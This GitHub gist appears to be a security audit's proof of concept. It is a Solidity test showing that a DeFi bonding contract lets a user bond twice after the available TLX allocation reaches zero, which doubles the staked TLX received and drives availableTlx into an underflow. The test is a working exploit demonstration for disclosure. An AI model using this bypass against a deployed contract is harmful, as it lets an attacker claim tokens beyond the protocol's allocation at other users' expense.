-
-
Save lmanini/bc75771dffb976ae0ef3d1149360199f to your computer and use it in GitHub Desktop.
Bonding availableTlx is bypassable
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function testDoubleBondAllowsToBypassAvailableTlx() public { | |
bonding.launch(); | |
// Half of a period | |
skip(10 days); | |
// Expected amount after 10 days | |
uint256 expectedTlx_ = 588_038.4e18; | |
assertEq(bonding.availableTlx(), expectedTlx_, "availableTlx"); | |
assertApproxEqAbs( | |
bonding.totalTlxBonded(), | |
0, | |
0.01e18, | |
"totalTlxBonded" | |
); | |
// 588,038 / 15,000 = 39.202533333333335 | |
uint256 expectedExchangeRate_ = 39.202533333333335e18; | |
assertApproxEqRel( | |
bonding.exchangeRate(), | |
expectedExchangeRate_, | |
0.01e18, | |
"exchangeRate" | |
); | |
// First bonding - maxes out the amount of bondable stTLX | |
uint256 amountRequired_ = 15_000e18; | |
bonding.bond( | |
leveragedToken, | |
amountRequired_, | |
expectedTlx_.mul(0.98e18) | |
); | |
// Bonder's leveragedTokens were pulled | |
assertEq( | |
IERC20(leveragedToken).balanceOf(address(this)), | |
100_000e18 - amountRequired_, | |
"First bond: leveragedToken balance" | |
); | |
// PoL received bonder's leveragedTokens | |
assertEq( | |
IERC20(leveragedToken).balanceOf(Tokens.UNI), | |
amountRequired_, | |
"First bond: leveragedToken balance" | |
); | |
// TotalTlxBonded matches the expected amount | |
assertApproxEqAbs( | |
bonding.totalTlxBonded(), | |
expectedTlx_, | |
0.01e18, | |
"First bond: totalTlxBonded" | |
); | |
assertEq(bonding.availableTlx(), 0, "availableTlx"); // <- currently, no more stTLX is bondable | |
// Bonder's stTLX balance increases as expected | |
assertApproxEqAbs( | |
staker.balanceOf(address(this)), | |
expectedTlx_, | |
0.01e18, | |
"First bond: staked balance" | |
); | |
// Second bond - this should revert / not bond any stTLX | |
bonding.bond( | |
leveragedToken, | |
amountRequired_, | |
expectedTlx_.mul(0.98e18) | |
); | |
// Bonder's leveragedToken are pulled in the same amount as in the first bond | |
assertEq( | |
IERC20(leveragedToken).balanceOf(address(this)), | |
100_000e18 - amountRequired_ * 2, | |
"Second bond: leveragedToken balance" | |
); | |
// PoL's leveragedToken increases in the same amount as in the first bond | |
assertEq( | |
IERC20(leveragedToken).balanceOf(Tokens.UNI), | |
amountRequired_ * 2, | |
"Second bond: leveragedToken balance" | |
); | |
// totalTlxBonded increases in the same amount as in the first bond | |
assertApproxEqAbs( | |
bonding.totalTlxBonded(), | |
expectedTlx_ * 2, | |
0.01e18, | |
"Second bond: totalTlxBonded" | |
); | |
// Bonder's stTLX balance increases in the same amount as in the first bond | |
assertApproxEqAbs( | |
staker.balanceOf(address(this)), | |
expectedTlx_ * 2, | |
0.01e18, | |
"Second bond: staked balance" | |
); | |
// Check availableTlx's value goes under 0 | |
vm.expectRevert(); // AUDIT overflow panics | |
assertEq(bonding.availableTlx(), 0, "availableTlx"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment